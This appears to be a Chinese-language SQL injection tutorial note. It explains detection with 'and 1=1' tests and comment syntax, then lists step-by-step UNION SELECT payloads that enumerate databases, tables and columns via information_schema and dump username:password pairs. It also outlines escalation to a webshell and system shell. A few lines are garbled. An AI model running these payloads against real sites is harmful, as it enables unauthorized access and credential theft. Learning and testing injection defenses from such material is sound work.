sql注入的原理
SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。
拿到一个网站,哪个地方存在sql注入漏洞呢?
跟数据库有交互的地方。
信息收集:
敏感目录及文件
御剑后台
dirbuster
url地址:
http://192.168.1.1/grade/query.php?user=3
协议://ip或域名:端口/目录/文件.后缀?参数名=值
payload:攻击载荷/exp (恶意语法)
name= name=name=_GET[‘user’];
$query=select id from admins where name=’ %df’or%df’1%df’=%df’1 ';
工具扫描器和手工的区别
工具效率高,但是容易误报
手工效率低,但是更加深入(技术有关)
sql注入漏洞类型三种:
数值型
字符型
搜索型
手工对sql注入漏洞探测方法
报错
and 1=1 正常
and 1=2 异常
可以判断一定存在sql注入漏洞,且注入漏洞类型为数组型
当输入 and 1=1 和and 1=2 都正常,可以判断注入类型为字符型。
字符型的payload构造方法:
’ 报错
’ and 1=1 --+ 正常
’ and 1=2 --+ 异常
数据库的注释:
--空格
内联注释:/* */
强制内联:/*! */
在url中,#和空格通过url编码,%23表示注释 %20空格, +来代替空格
数据库的函数:
database()函数:当前数据库名
user():当前用户
version():函数
联合注入攻击爆思路
爆库–拿数据(管理员)–找网站后台–登录—上传—webshell–拿系统shell
sql —os-shell
mysql5.0以上版本有一个内置数据库,information_schema 保存了当前服务器上所有的库名、表名、字段名等信息,及其他内置信息
schemata 表: schema_name字段:保存了所有的数据库名。
tables表:table_schema 字段保存了所有的库名,table_name 字段保存了所有的表名。
columns表:table_schema 字段保存了所有的库名,table_name 字段保存了所有的表名 column_name 保存所有的字段。
limit 0,1: 0是开始,1是一位
group_concat()函数,组合函数
0x3a 代表 :
0x3b 代表 ;
联合注入攻击注入方法
1,判断注入点
2,判断数据库表的字段数
order by 1-99 (判断字段数)
3,判断输出的位置
union select 1,2,3,4,5,6
4,爆库名
union select 1,database(),3,4,5,6
5,爆表名
union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1 ),3,4,5,6
或:
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='test'),3,4,5,6
6,爆字段名
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'),3,4,5,6
7,爆数据
union select 1,(select group_concat(username,0x3a,password) from test.users),3,4,5,6
上一篇:已经是第一篇